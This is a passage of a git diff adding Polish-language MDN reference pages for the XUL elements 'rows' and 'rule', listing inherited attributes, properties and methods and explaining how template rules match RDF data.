+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/columns" title="columns">columns</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/rows" title="rows">rows</a></code>.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/rows/index.html b/files/pl/mozilla/tech/xul/rows/index.html
new file mode 100644
index 0000000000..1fdc3dd22b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/rows/index.html
@@ -0,0 +1,96 @@
+---
+title: rows
+slug: Mozilla/Tech/XUL/rows
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/rows
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Definiuje wiersze siatki. Każdy potomek elementu <code>rows</code> powinien być elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code>.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Siatki">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Zobacz <code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code> dla przykładu.
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/columns" title="columns">columns</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code>.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/rule/index.html b/files/pl/mozilla/tech/xul/rule/index.html
new file mode 100644
index 0000000000..0e15070ea5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/rule/index.html
@@ -0,0 +1,56 @@
+---
+title: rule
+slug: Mozilla/Tech/XUL/rule
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/rule
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Zasada wykorzystywana jest w szablonie (<code><a href="/pl/docs/Mozilla/Tech/XUL/template" title="template">template</a></code>). Dzieci <code>rule</code> wykorzystywane są do deklarowania warunków spełnienia zasady i generowania zawartości. Kiedy zawartość ma być wyświetlona, budowniczy szablonu (<i>template builder</i>) skanuje źródło danych RDF szukając wierzchołków które spełniają zasadę. Kiedy zasada jest spełniona, odpowiadająca jej zawartość jest generowana.
+</p><p>Zasada zawiera dwie lub więcej elementów-dzieci. Element <code><a href="/pl/docs/Mozilla/Tech/XUL/conditions" title="conditions">conditions</a></code> używany jest do określenia warunków, na których zasoby mogą spełniać zasadę. Zasoby spełniające zasadę używane są do generowania zawartości. Zasoby niespełniające tych zasad nie posiadają żadnej zawartości dla nich stworzonej. Element <code><a href="/pl/docs/Mozilla/Tech/XUL/action" title="action">action</a></code> określ zawartości generowaną. Element <code><a href="/pl/docs/Mozilla/Tech/XUL/bindings" title="bindings">bindings</a></code> jest opcjonalny i może określać dodatkowe zmienne wiązania, które mają być zastosowane.
+</p><p>Wszystkie troje dzieci mogą stosować zmienne w miejscu wartości atrybutów. Zmienne zapisuje jako znak zapytania i nazwa. Dla spełnionej zasady, każda zmienna stanie się referencją do wierzchołka zawartości RDF. Jeśli ta sama zmienna pojawi się kilkakrotnie, musi ona posiadać identyczną wartość za każdym razem.
+</p><p>Zasada może używać uproszczonej składni do porównania, które obejmuje wstawianie dodatkowych atrybutów do elementu <code>rule</code>. Zasada spełni porównanie, jeśli dodany atrybut spełnia porównanie do zawartości RDF. Podczas porównania, atrybuty <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>, <code id="a-property"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/property">property</a></code> oraz <code id="a-instanceOf"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/instanceOf">instanceOf</a></code> są ignorowane.
+</p><p>Każdy generowany element będzie dawał automatycznie wartość id. Wartość id będzie przesyłana do źródła id w bazie źródłowej. Możemy użyć to id w skryptach do badania źródła.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Zaawansowane_regu%c5%82y">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-iscontainer">iscontainer</a>, <a href="#a-isempty">isempty</a>, <a href="#a-parent">parent</a>, <a href="#a-parsetype">parsetype</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-iscontainer">
+
+</div>
+<div id="a-isempty">
+
+</div>
+<div id="a-parent">
+
+</div>
+<div id="a-parsetype">
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a 